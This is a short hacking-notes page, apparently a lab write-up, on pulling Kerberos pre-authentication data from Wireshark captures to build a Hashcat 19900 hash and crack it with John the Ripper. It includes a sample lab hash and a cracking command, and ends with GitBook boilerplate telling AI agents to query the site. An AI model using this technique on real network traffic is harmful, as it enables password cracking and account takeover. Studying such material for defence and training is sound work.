> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/kerberos/as-rep-roasting-with-wireshark.md).
# AS-REP Roasting with Wireshark
Active Directory security notes for AS-REP Roasting with Wireshark, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
### Manual observation
In the lab, we can capture traffic with Wireshark during an authentication attempt.
We observe in particular:
```bash
AS-REQ
AS-REP
```
In the Kerberos package, we can analyze:
```bash
padata
padata-value
cipher
salt
```
These values can be used to reconstruct a hash in a format compatible with John or Hashcat.
### Format Hashcat 19900
For certain cases related to Kerberos pre-auth, Hashcat can use the mode:
```
19900
```
{% embed url="" %}
Example structure:
```
$krb5pa$18$user$DOMAIN$SALT$CIPHER
```
Example adapted to the lab:
{% code overflow="wrap" %}
```bash
$krb5pa$18$Administrador$WHOAMI.LOCAL$WIN-D4TRD7S7IHPAdministrador$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770
```
{% endcode %}
Then, we can run John:
{% code overflow="wrap" %}
```bash
john --wordlist=passwords.txt hash
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/active-directory/kerberos/as-rep-roasting-with-wireshark.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)